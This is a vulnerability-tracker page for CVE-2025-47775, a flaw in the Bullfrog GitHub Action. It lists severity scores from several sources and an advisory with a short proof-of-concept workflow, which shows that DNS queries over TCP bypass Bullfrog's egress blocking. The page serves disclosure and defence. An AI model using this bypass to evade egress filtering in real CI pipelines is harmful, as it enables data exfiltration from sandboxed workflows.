CVE-2025-47775

highpriority · track · 34EPSS 0.005 · 42 %ileEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.49% (42nd) EPSS
CVSS 8.6 · high
Is it mine?
3 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · nvd

EPSS · scored 2026-10-26

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.6
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.2–8.6

v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nprimary · NVD / NIST USexploitability 3.9 · impact 4
v3.16.2mediumAV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · FSTEC (BDU) RU
v3.16.2mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · ENISA EU
v3.16.2mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.5 · impact 3.6
v3.16.2mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:Nsecondary · OSV
v3.17.9highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-m32f-fjw2-37v3Bullfrog's DNS over TCP bypasses domain filtering2025-05-15ghsa · osvUS

    ### Summary Using tcp breaks blocking and allows DNS exfiltration. ### PoC ``` name: test on: push: branches: - "*" jobs: testBullFrog: runs-on: ubuntu-22.04 steps: - name: Use google dns run: | sudo resolvectl dns eth0 1.1.1.1 resolvectl status - name: Set up bullfrog to block everything uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2 with: egress-policy: block allowed-domains: | *.github.com - name: Test connectivity run: | echo testing udp allowed .. dig api.github.com @1.1.1.1 || : echo testing tcp allowed .. dig api.github.com @1.1.1.1 +tcp || : echo testing udp not allowed dig api.google.com @1.1.1.1 || : echo testing tcp not allowed dig api.google.com @1.1.1.1 +tcp || : ``` ### Impact sandbox bypass ![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2025-05-14modified 2026-06-17
08

references (11)

External citations — patches, advisories, analysis.

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